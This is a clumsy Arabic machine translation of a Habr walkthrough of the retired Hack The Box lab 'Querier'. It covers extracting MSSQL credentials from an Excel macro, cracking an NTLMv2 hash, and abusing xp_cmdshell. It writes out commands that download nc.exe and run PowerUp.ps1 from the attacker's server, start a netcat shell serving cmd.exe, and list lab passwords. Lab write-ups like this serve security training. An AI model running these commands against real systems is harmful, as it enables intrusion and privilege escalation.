مرور آلة المختبر لـ Pentest "Hackthebox - Querier"

مرحبا يا هبر! في هذه المقالة ، سوف تتعرف على طريقة لمهاجمة خادم بعيد باستخدام ميزات MsSQL ، وإنشاء غلاف عكسي للإصلاح في النظام ، ومثال على تشغيل سياسة مجموعة غير مكوّنة في Windows.

تحت القص ، سنتحدث عن تجربتنا في تمرير آلة مختبر Querier على بوابة hackthebox .

بالنسبة لأولئك الذين لا يعرفون ما هو hackthebox ، هذه بوابة يمكنك من خلالها اختبار مهاراتك المكبوتة في الممارسة العملية ، وهناك أقنعة CTF وأجهزة المختبرات نفسها.

تنصل
قراءة قواعد الخدمة: " لا تشارك كيف اخترق كل جهاز مع الأعضاء الآخرين. ويشمل ذلك إنشاء رمز الدعوة وجميع التحديات . " ولكن نظرًا لأن هذا الجهاز لم يعد نشطًا ويتم تخزينه في قسم الأجهزة المتقاعدة ، يمكن فقط لأعضاء VIP الوصول إليه.



جمع المعلومات


دعنا نبدأ استكشافنا عن طريق بدء مسح المنفذ باستخدام nmap.

nmap –sC –Pn –A 10.10.10.125 



نحن قائمة المنافذ وجدت.

تعداد 139/445 / tcp (smb)


سوف نستخدم الأداة المساعدة smbclient للوصول إلى موارد خادم SMB.

 smbclient –L //10.10.10.125 

بعد الاطلاع على جميع الموارد ، نجد في دليل التقارير ملف "Currency Volume Report.xlsm".



إذا قمت بفتح هذا الملف باستخدام Microsoft Excel قياسي ، فسيظهر للوهلة الأولى فارغًا تمامًا.

نقوم بتحليل الملف باستخدام الأداة المساعدة binwalk ، والتي ستساعدك في إلقاء نظرة على الملفات المضمنة في مستند xlsm.



من إخراج binwalk ، وجدنا بعض الملفات المثيرة للاهتمام الموجودة في xlsm.
باستخدام العلامة –e ، قم بفكها.

 binwalk –e Currency\ Volume\ Report.xlsm 



الآن سنستخدم الأداة المساعدة للسلاسل لإخراج الحروف المطبوعة. من خلال تصفح الملفات ، نجد بيانات مثيرة للاهتمام في vbaProject.bin. يبدو أننا وجدنا بيانات الاعتماد لخادم mssql.



لتلخيص المعلومات الواردة حاليًا:

  • نحن نعلم أن خادم mssql يدور على المنفذ 10.10.10.125:1433 ؛
  • لدينا بيانات اعتماد من خادم mssql للمستخدم.

لذلك دعونا نحاول الاتصال بالخادم باستخدام البرنامج النصي من وحدة impacket .

 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 

الحصول على MsSQL.



تعداد MsSQL


نحن ندرج المعلومات المفيدة لنا باستخدام أوامر المقال .
بعد تنفيذ SQLi ، نحصل على علامة تجزئة من كلمة مرور المستخدم mssql-svc.



للحصول على كلمة المرور بشكل صريح ، من الضروري إزالتها باستخدام أي أداة مناسبة لك.

  1.  john --format=netntlmv2 hash.txt 
  2.  hashcat -m 5600 -a 3 hash.txt 

نحصل على كلمة المرور من mssql-svc .

الاتصال بـ SQL بقروض اعتماد جديدة.

 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 

تسمح لنا حقوق هذا المستخدم بتنفيذ xp_cmdshell

حول xp_cmdshell
شحن MsSQL مع مجموعة كبيرة من الإجراءات المخزنة المتقدمة. الأكثر إثارة للاهتمام منهم هو xp_cmdshell. يوفر الوصول إلى سطر الأوامر لنظام التشغيل.

الحصول على قذيفة العكسية


نحن نحاول الحصول على shell من خلال netcat ، لهذا نحن بحاجة إلى تحميله على الخادم الذي تمت مهاجمته.

نذهب إلى الدليل على الجهاز الخاص بنا حيث يوجد netcat وتشغيله:

 python –m SimpleHTTPServer 

في shell mssql لتنزيل netcat (nc.exe) على الخادم البعيد ، قم بتشغيل الأمر powershell ، مع تحديد مسار الحفظ.

 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 

نبدأ netcat للاستماع على المنفذ 4444.

 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

نبدأ netcat من جانبنا ، مع تحديد عنوان IP والمنفذ للخادم الذي تمت مهاجمته والحصول على الصدفة.

 nc 10.10.10.125 4444 

قم بتشغيل برنامج نصي من PowerShellMafia لزيادة الامتيازات.

 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 



نتيجة للبرنامج النصي ، حصلنا على بيانات اعتماد المسؤول.

نذهب إلى موارد smb باستخدام بيانات اعتماد جديدة وأذونات.





خذ علامة root.txt. النصر!

Source: https://habr.com/ru/post/ar465687/


All Articles